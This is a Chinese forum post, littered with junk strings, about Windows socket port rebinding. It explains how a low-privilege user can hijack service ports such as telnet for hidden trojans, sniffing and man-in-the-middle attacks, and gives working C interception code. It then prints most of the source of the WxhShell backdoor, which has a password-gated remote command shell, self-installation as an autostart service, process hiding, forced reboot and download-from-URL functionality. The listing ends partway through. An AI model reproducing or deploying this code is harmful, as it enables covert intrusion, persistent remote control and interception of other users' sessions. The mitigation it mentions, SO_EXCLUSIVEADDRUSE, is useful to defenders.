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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u2Qs}FX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NKw}VW'|  
OGU#%5"<  
  saddr.sin_family = AF_INET; p:8]jD@}%  
)1]LoEdm`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h3kBNBI )  
,5Tw5<S  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $a+)v#?,  
x8* @<]!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 & A@ !g  
.s<tQU  
  这意味着什么?意味着可以进行如下的攻击: 74*iF'f?c  
Gh9dv|m=[;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hdee]qLS  
vghn+P8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w^QqYUL${  
[{9&KjI0K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q@#Gm9m  
G3t 4$3|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  l ~ /y  
\{`*`WQF  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K?aUIkVs  
9:6d,^X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *gXm&/2*  
7S9Q{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bLyG3~P;0  
-<B{?D  
  #include NbW5a3=  
  #include p=J9N-EM  
  #include ,<?M/'4}G  
  #include    a fhZM$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9<I;9.1S?^  
  int main() 6u v'{  
  { Fgg4QF  
  WORD wVersionRequested; _d/ZaCx'i  
  DWORD ret; Mt`XHXTp  
  WSADATA wsaData; #n}n %  
  BOOL val; quw:4W>  
  SOCKADDR_IN saddr; Li\BRlebR{  
  SOCKADDR_IN scaddr; 1_.#'U>  
  int err; uu582%tiG  
  SOCKET s; B 9AE*  
  SOCKET sc; W4(O2RU  
  int caddsize; [u2)kH$  
  HANDLE mt; {01wW1  
  DWORD tid;   ihdtq  
  wVersionRequested = MAKEWORD( 2, 2 ); b`sph%&  
  err = WSAStartup( wVersionRequested, &wsaData ); '$n#~/#}  
  if ( err != 0 ) { m =2e1wc  
  printf("error!WSAStartup failed!\n"); )z?Kq0  
  return -1; @3b|jJyf  
  } 1)m&6:!b  
  saddr.sin_family = AF_INET; C\dlQQ  
   F /:2+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BV HO_  
2nPU $\du  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &vp0zYd+v  
  saddr.sin_port = htons(23); 3 eFBe2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;i><03  
  { vXM``|  
  printf("error!socket failed!\n"); 3M&75OE  
  return -1; L&nGjC+Lr  
  } 2=l !b/m  
  val = TRUE; oxPb; %  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W=~H_ L?/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8W_X&X?Q  
  { +2ih!$T;7>  
  printf("error!setsockopt failed!\n"); I"=XM   
  return -1; +iPS=?S  
  } ~ Qt$)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =`]yq;(C7j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cAc i2e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~L'}!' &.  
[2,u:0"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jP";ll|c  
  { [Pt5c6L:  
  ret=GetLastError(); V-w[\u  
  printf("error!bind failed!\n"); TY|]""3 f9  
  return -1; 1xo<V5  
  } wFaWLC|&  
  listen(s,2); N7xkkAS{  
  while(1) :Y[r^=>  
  { Yg#)@L  
  caddsize = sizeof(scaddr); ?%HtPm2< %  
  //接受连接请求 qEpP%p  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R%Yws2Le2  
  if(sc!=INVALID_SOCKET) d0 tN73(  
  { '4A8\&lQO  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); cZ7b$MZ%9  
  if(mt==NULL) -j9R%+YW<  
  { -3r&O:  
  printf("Thread Creat Failed!\n"); !lF|90=  
  break; C6eon4Ut  
  } LV 94i  
  } [J+K4o8L<A  
  CloseHandle(mt); "t"=9:_t  
  } L$x/T3@  
  closesocket(s); <u"#Jw/VP  
  WSACleanup(); yREO;m|o  
  return 0; n6nwda  
  }   F77[fp  
  DWORD WINAPI ClientThread(LPVOID lpParam) XI,F^K  
  { ls6ywLP{  
  SOCKET ss = (SOCKET)lpParam; s^9N7'  
  SOCKET sc; "FaG5X(  
  unsigned char buf[4096]; JCZJ\f*EZ  
  SOCKADDR_IN saddr; f(?`PD[  
  long num; qD#-q vn  
  DWORD val; qhpq\[U6in  
  DWORD ret; [:!#F7O-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,9"</\]`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <S0!$.Kg*<  
  saddr.sin_family = AF_INET; f K^FD&sF  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k 9Kv  
  saddr.sin_port = htons(23); *.EtdcRo[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {R,rc!yF  
  { %2oLND}?z  
  printf("error!socket failed!\n"); h{ce+~X  
  return -1; W^&t8d2  
  } {\ziy4<II  
  val = 100; fp4d?3G  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q ;5'I3w  
  { k< W]VS3N  
  ret = GetLastError(); ( L RX  
  return -1; gpr];lgS  
  } uW[s?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {M E|7TS=  
  { qr=U= oK  
  ret = GetLastError(); VkhK2  
  return -1; Z/uRz]Hi  
  } qg6Hk:^r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,l7ty#j  
  { 6aQ{EO-]'=  
  printf("error!socket connect failed!\n"); _z m<[0(  
  closesocket(sc); =$Q3!bJ  
  closesocket(ss); ,-DE;l^Q=  
  return -1; NM ~e  
  } *vsOL 4I%  
  while(1) D?5W1m]E,s  
  { o(~JZi k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a/^Yg rC\T  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 PD/JXExK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fBd +gT\S  
  num = recv(ss,buf,4096,0); TJsT .DWW~  
  if(num>0) 9f,HjRP  
  send(sc,buf,num,0); E4y"$U%.  
  else if(num==0) #^#)OQq]  
  break;  |Be.r{l  
  num = recv(sc,buf,4096,0); -R7f/a8  
  if(num>0) NK#Dq&W+&  
  send(ss,buf,num,0); [EGE|   
  else if(num==0) $X*$,CCIB  
  break; u{p\8v%7  
  } Bdbw!zRR$  
  closesocket(ss); <6L$ :vT_  
  closesocket(sc); N{p2@_fnB  
  return 0 ; <O\z`aA'q  
  } p6}jCGJ  
*%)L?*  
vlj|[joXw  
========================================================== NKd@ Kp`,  
7 cIVK}&  
下边附上一个代码,,WXhSHELL )s=z i"  
,CM$A}7[  
========================================================== Tu/JhP/g,`  
B~PF<8h5  
#include "stdafx.h" "F[VqqD  
l1W5pmhK]'  
#include <stdio.h> m_Fw ;s/9  
#include <string.h> 6o1.?t?  
#include <windows.h> QdW%5lM+  
#include <winsock2.h> Y?%6af+  
#include <winsvc.h> @MB;Ez v  
#include <urlmon.h> >9u6@  
!^"hYp`  
#pragma comment (lib, "Ws2_32.lib") Ugdm"  
#pragma comment (lib, "urlmon.lib") ~C!vfPC  
MzG(+B  
#define MAX_USER   100 // 最大客户端连接数 :Dr& {3>  
#define BUF_SOCK   200 // sock buffer HZK0Ldf  
#define KEY_BUFF   255 // 输入 buffer Bxa],inuZ  
?4lAL  
#define REBOOT     0   // 重启 nM0nQ{6  
#define SHUTDOWN   1   // 关机 SV\x2^Ea0  
s` 9zW,  
#define DEF_PORT   5000 // 监听端口 *!s4#|h  
M$~h(3  
#define REG_LEN     16   // 注册表键长度 f1~3y}7^Jq  
#define SVC_LEN     80   // NT服务名长度 [#9ij3vxd  
BEI/OGp  
// 从dll定义API H`Z4a N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #!`zU4&2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l5h9Eq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s)M2Z3>+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R<U?)8g,h~  
2bxT%xH:g  
// wxhshell配置信息 ~y|%D;  
struct WSCFG { A|>C3S  
  int ws_port;         // 监听端口 q90S>c,  
  char ws_passstr[REG_LEN]; // 口令 EhD|\WLx!  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2Qy!Aa  
  char ws_regname[REG_LEN]; // 注册表键名 yZ!Eu#81  
  char ws_svcname[REG_LEN]; // 服务名 }zobIfIF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &J~S  $  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \ qs6%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W#lvH=y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hr{%'DAS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #63/;o:l$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {X =\  
l.34h  
}; _$bx4a  
Z?X$8o^Z  
// default Wxhshell configuration )>Lsj1qk  
struct WSCFG wscfg={DEF_PORT, x!$,Hcph,  
    "xuhuanlingzhe", D1j 7iv  
    1, fF d9D=EW.  
    "Wxhshell", j qdI=!H  
    "Wxhshell", Ch.T} %  
            "WxhShell Service", "=".ne  
    "Wrsky Windows CmdShell Service", E%;'3Qykva  
    "Please Input Your Password: ", Asn0&Ys4  
  1, Gqia@>T4*N  
  "http://www.wrsky.com/wxhshell.exe", cUm9s>^)/  
  "Wxhshell.exe" 7GIv3Dc  
    }; yCkm|  
mhVoz0%1X  
// 消息定义模块 @"/}Al  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KqSa"76R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q./ lX:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fgp 7 |;Y  
char *msg_ws_ext="\n\rExit."; Y(:OfC?  
char *msg_ws_end="\n\rQuit."; )R +o8C  
char *msg_ws_boot="\n\rReboot..."; sTA/2d  
char *msg_ws_poff="\n\rShutdown..."; #y*=UV|h  
char *msg_ws_down="\n\rSave to "; K?;p:  
'0O[d N  
char *msg_ws_err="\n\rErr!"; L$Leo6<3a  
char *msg_ws_ok="\n\rOK!"; ]8_h9ziz  
z\E "={P&  
char ExeFile[MAX_PATH]; \=@r1[d  
int nUser = 0; RYV6hp)|  
HANDLE handles[MAX_USER]; Gzir>'d2'V  
int OsIsNt; bMUIe\/v[  
rgYuF,BT.  
SERVICE_STATUS       serviceStatus; $HXB !$d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 28)TXRr-  
b "Mq7&cf  
// 函数声明 #VOjnc/rW  
int Install(void); *M|\B|A.  
int Uninstall(void); z8j(SI;3  
int DownloadFile(char *sURL, SOCKET wsh); qE`=^  
int Boot(int flag); V- cuG.  
void HideProc(void); #pe{:f?  
int GetOsVer(void); mWusRgj+8  
int Wxhshell(SOCKET wsl); Ad,r(0a LZ  
void TalkWithClient(void *cs); qbEj\ b[  
int CmdShell(SOCKET sock); >4ct[fW+  
int StartFromService(void); Ds G *  
int StartWxhshell(LPSTR lpCmdLine); Me}TW!GC  
eTF8B<?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PD}R7[".>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Gtg)%`  
KyyG8;G%  
// 数据结构和表定义 ,Mhe:^3  
SERVICE_TABLE_ENTRY DispatchTable[] = C^%zV>o  
{ 9_Re,h  
{wscfg.ws_svcname, NTServiceMain}, "pZ3  
{NULL, NULL} X]yERaJ,i  
}; 87K)qsv8  
g&Z7h4!\  
// 自我安装 zkp Apj].  
int Install(void) |g7h#F~  
{  i) 2))C  
  char svExeFile[MAX_PATH]; reA8=>b/  
  HKEY key; `oMeR]~  
  strcpy(svExeFile,ExeFile); ya{>=  
SznE:+  
// 如果是win9x系统,修改注册表设为自启动 +hg\DqO^M  
if(!OsIsNt) { YF -w=Y6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HLe^|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?fmt@@]T?  
  RegCloseKey(key); z/YMl3$l~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &5.~XM;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hk]BC  
  RegCloseKey(key); tqQ0lv^J  
  return 0; 2\w=U,;(  
    } ~}5Ml_J$,l  
  } 30_un  
} u3wC}Zo  
else { ;-?ZI$  
r}\h\ {  
// 如果是NT以上系统,安装为系统服务 Is@a,k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &'7"i~pC  
if (schSCManager!=0) ~B&*7Q7  
{ pIu H*4Vz  
  SC_HANDLE schService = CreateService uit-Q5@~  
  ( %<?ciU  
  schSCManager, w`}9/s;$  
  wscfg.ws_svcname, s1vrzze  
  wscfg.ws_svcdisp, Z) Xs;7  
  SERVICE_ALL_ACCESS, M_1Tx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aEDN]O95?  
  SERVICE_AUTO_START, zcB 2[eaV  
  SERVICE_ERROR_NORMAL, C|f7L>qe  
  svExeFile, "rGOw'!q>  
  NULL, y<`?@(0$  
  NULL, <M,H9^&#l3  
  NULL, r.W,-%=bL  
  NULL, rh`.$/^  
  NULL ?4ILl>*  
  ); B#aH\$_U  
  if (schService!=0) h_~|O [5|)  
  { Z va  
  CloseServiceHandle(schService); &^IcL!t[  
  CloseServiceHandle(schSCManager); bV`C;RPn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _?s %MNaX  
  strcat(svExeFile,wscfg.ws_svcname); bw<w u}ED  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ey)u7-O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZCBPO~&hO'  
  RegCloseKey(key);  |.C    
  return 0; U+;>S$  
    } <s8? Z1  
  } QP%kL*=8  
  CloseServiceHandle(schSCManager); ChTXvkdH  
} ,iVPcza  
} +SQjX7] %  
kV ,G,wo  
return 1; Lq-33#n/  
} |:9Ir^  
A*;?U2  
// 自我卸载 cVay=5].  
int Uninstall(void) -@L's{J{M  
{ ?Hi}nsw  
  HKEY key; sc8DY!|OYN  
CofH}-  
if(!OsIsNt) { `x} Dk<HF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3}4p_}f/[4  
  RegDeleteValue(key,wscfg.ws_regname); zq;DIWPIoJ  
  RegCloseKey(key); &G/|lv>j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ole|J  
  RegDeleteValue(key,wscfg.ws_regname); y?#9>S >:\  
  RegCloseKey(key); Znta#G0  
  return 0; A/"}Y1#qX\  
  } -~][0PVL9  
} 0zbLc%  
} A=%k/  
else { 7%9)C[6NSs  
l>~`;W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RxZm/:yuJ.  
if (schSCManager!=0) <jUrE[x  
{ >`89N'lZBm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MCeu0e^)  
  if (schService!=0) 0)AM-/"  
  { BF36V\  
  if(DeleteService(schService)!=0) { =4zNo3IvL+  
  CloseServiceHandle(schService); vJRnBq+y  
  CloseServiceHandle(schSCManager); ] *-;' *  
  return 0; mP pvZ  
  } @H\pipT_b  
  CloseServiceHandle(schService); Y}LLOj@L  
  } ~XUOWY75  
  CloseServiceHandle(schSCManager); uxO J3  
} K 3Yw8t2J  
} yW\XNX  
{/d4PI7)tK  
return 1; rLJ[FqS  
} &$qF4B*  
\Mb(6~nC  
// 从指定url下载文件 hCM8/Vvx6  
int DownloadFile(char *sURL, SOCKET wsh) CE#\Roi x)  
{ a@#Q:O)4  
  HRESULT hr; ]U,CKJF%/  
char seps[]= "/"; f xDj+Q1p  
char *token; 8xF)_UV  
char *file; Wp5]Uk  
char myURL[MAX_PATH]; B6bOEPQ  
char myFILE[MAX_PATH]; H`m:X,6}  
oYz!O]j;a  
strcpy(myURL,sURL); tAqA^f*{  
  token=strtok(myURL,seps); ~BZXt7DE  
  while(token!=NULL) zF5q=9 4$  
  { \=!H2M  
    file=token; 5`{vE4A]q  
  token=strtok(NULL,seps); )O3jQ_q=  
  } QjA&IZEC  
-Z%F mv8  
GetCurrentDirectory(MAX_PATH,myFILE); 4:vTxNs&S  
strcat(myFILE, "\\"); z)lM2x>|*  
strcat(myFILE, file); pkXv.D`  
  send(wsh,myFILE,strlen(myFILE),0); HU &)  
send(wsh,"...",3,0); HG2GZ}~^1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [yw%ih)  
  if(hr==S_OK) i&`!|X-=R  
return 0; fVe@YqNa  
else I%@e@Dm,h  
return 1; nr OqH  
k(P3LJcYQ  
} -bypuMQ-p  
*URdd,){i  
// 系统电源模块 gnt45]@{  
int Boot(int flag) L[9OVD  
{ iTh xVD  
  HANDLE hToken; H]s4% 9T  
  TOKEN_PRIVILEGES tkp; #?9 Q{0e  
<uZPqi||  
  if(OsIsNt) { !@u&{"{`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Sx8l<X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &p5&=zV}  
    tkp.PrivilegeCount = 1; {j?7d; 'j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RqXi1<6j#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]pnYvXf>!  
if(flag==REBOOT) { |rMq;Rgu?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0[/vQ+O]2  
  return 0; -kl;!:'.3  
} 3gpo %  
else { c45tmul  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sAi&A9"*   
  return 0; OX+hZ<y  
} 6lsL^]7  
  } *>k!hq;j  
  else { $A`xhh[  
if(flag==REBOOT) { !.EcP=S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )1f+ld%R  
  return 0; o/cr{>"N  
} nq' M?c#E  
else { R:A'&;S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I}+;ME|<2  
  return 0; $jG4pPG  
} b3\B8:XFo|  
} xP{-19s1]  
!h CS#'  
return 1; UfR~%p>K  
} H`-=?t  
MiJ6n[iv  
// win9x进程隐藏模块 K\P!a@>1  
void HideProc(void) [ ?iqqG.  
{ 3B{[%#vO  
mb\h^cKaq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vl<9=f7[  
  if ( hKernel != NULL ) rjUBLY1(  
  { V^n0GJNo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JrDHRIkgm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B3mS]  
    FreeLibrary(hKernel); \D?:J3H*]  
  } LkBZlh_  
#~k[6YR 0  
return; \iru7'S  
} Ox qguT,  
\dcdw* v@  
// 获取操作系统版本 kUa)smh  
int GetOsVer(void) 7Fz xe$A  
{ d~@q%-`lA  
  OSVERSIONINFO winfo; /r^[a,Q#x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b9Y_!Qe  
  GetVersionEx(&winfo); -$JO8'TP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >w.'KR0L  
  return 1; C>X|VP |C  
  else ]^ K;goQv  
  return 0; *HE^1IEl  
} L8&D(wh/f  
8>NwCjN  
// 客户端句柄模块 x<ax9{  
int Wxhshell(SOCKET wsl) M2@;RZ(|  
{ ?n]FNjd  
  SOCKET wsh; |~K(F <;j  
  struct sockaddr_in client; oM,- VUr  
  DWORD myID; iW;i!,  
5~+XZA#2  
  while(nUser<MAX_USER) cin2>3Z$  
{ |g-b8+.=]  
  int nSize=sizeof(client); \Q&,ISO\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %8mm Hh  
  if(wsh==INVALID_SOCKET) return 1; + E5=$`  
h*w6/ZL1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T3N"CUk  
if(handles[nUser]==0) zO~9zlik  
  closesocket(wsh); >7b)y  
else ZFvyL8o  
  nUser++; qX#MV>1  
  } 9+qOP>m   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >jx.R  
3fr^ T  
  return 0; 8SC%O\,  
} "aq'R(/`c  
p&N#_dmlH  
// 关闭 socket oyx^a9  
void CloseIt(SOCKET wsh) riCV&0"n  
{ WE6\dhJ<  
closesocket(wsh); }Ln@R~[  
nUser--; ,gx)w^WTm  
ExitThread(0); 3[IJhR[  
} #0"~G][#  
+(?>-3_z  
// 客户端请求句柄 U BZ9A  
void TalkWithClient(void *cs) >#(n"RCHf  
{ ;inzyFbL=  
DWiBG  
  SOCKET wsh=(SOCKET)cs; 2oVV'9;B  
  char pwd[SVC_LEN]; DN8}gl VxV  
  char cmd[KEY_BUFF]; ~i0R^qfr  
char chr[1]; / T c=  
int i,j; |/`%3'4H  
b]Z@^<_E  
  while (nUser < MAX_USER) { aFj.i8+  
4n0xE[-  
if(wscfg.ws_passstr) { /)>S<X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <l,o&p,>|c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u0o'K9.r  
  //ZeroMemory(pwd,KEY_BUFF); NwlU%{7W6  
      i=0; G64Fx*`  
  while(i<SVC_LEN) { Sq2P-y!w  
NHQF^2\\  
  // 设置超时 3l1cyPv  
  fd_set FdRead; jO~:<y3 =  
  struct timeval TimeOut; X~9j$3lUBR  
  FD_ZERO(&FdRead); =L-I-e97@  
  FD_SET(wsh,&FdRead); F<&!b2)ML  
  TimeOut.tv_sec=8; LnsD  
  TimeOut.tv_usec=0; Ao9R:|9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DcD{*t?x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1Sz A3c  
JXqr3 Np1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l$xxrb9P!  
  pwd=chr[0]; d_z 59  
  if(chr[0]==0xd || chr[0]==0xa) { 3=0E!e  
  pwd=0; K^l:MxO-X  
  break; Ms^dRe)  
  } mpw~hW0-  
  i++; 39i9wrP  
    } ^jE8+h  
W"q@Qa`Bm  
  // 如果是非法用户,关闭 socket ^K(^I*q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4Xj4|Rw%  
} GW^,g@%C  
Orn0Zpp<z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )c2_b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1bnBji  
J^#:qk  
while(1) { ]< l6s  
Me5{_n  
  ZeroMemory(cmd,KEY_BUFF); :[l\@>H1tX  
z+{,WHjo  
      // 自动支持客户端 telnet标准   uQ1@b-e`5  
  j=0; o{:xp r=(  
  while(j<KEY_BUFF) { b*kfWG-6t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #-VMg+14  
  cmd[j]=chr[0]; hfWFD,  
  if(chr[0]==0xa || chr[0]==0xd) { <UP m=Hb  
  cmd[j]=0; 7, } $u  
  break; ~&dyRt W4  
  } feM6K!fL`  
  j++; ZP\M9Ja  
    } bm~W EX  
=wWpP-J&  
  // 下载文件 {Ro2ouQ!V  
  if(strstr(cmd,"http://")) { 1T&Rc4$Sn7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jKIxdY:U  
  if(DownloadFile(cmd,wsh)) {Azn&|%.t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9pn>-1NJ  
  else BaI $S>/Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WsU)Y&  
  }  mEG6  
  else {  uF|3/x=  
n.MRz WJpZ  
    switch(cmd[0]) { gmKGy@]  
  =W bOwI)u  
  // 帮助 Bq\F?zk<  
  case '?': { p9!"O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /1=4"|q>h'  
    break; Rd \.:u  
  } c,MOv7{x_  
  // 安装 7cP@jj  
  case 'i': { Qd_6)M-  
    if(Install()) 4rT*tW"U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `3H4Ajzcc  
    else } p FQRSOZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .T<= z  
    break; 3981ie  
    } VZr>U*J[:  
  // 卸载 {Bs~lC$  
  case 'r': { ]B"'}%>ez  
    if(Uninstall()) (tah]Bx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GG064zPq7  
    else wcSyw2D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }0#U;_;D  
    break; r`y ezbG  
    } u-D dq~;|  
  // 显示 wxhshell 所在路径 hd\gH^wk  
  case 'p': { v,-{Z1N%m  
    char svExeFile[MAX_PATH]; G'2#9<c*  
    strcpy(svExeFile,"\n\r"); _/8FRkx  
      strcat(svExeFile,ExeFile); :bV mgLgG  
        send(wsh,svExeFile,strlen(svExeFile),0); EF7+ *Q9  
    break; S1 Z2_V  
    } kE>0M9EdH  
  // 重启 omO S=d!o  
  case 'b': { FuG4F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .;y#  
    if(Boot(REBOOT)) }jt?|dl1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yzw mT  
    else { El_wdbbT  
    closesocket(wsh); H&1[n U{?>  
    ExitThread(0); 4 %PfrJ  
    } cMyiW$;  
    break; Q$& sTM  
    } fH`P[^N  
  // 关机 fx=Awba  
  case 'd': { ,g-EW jN  
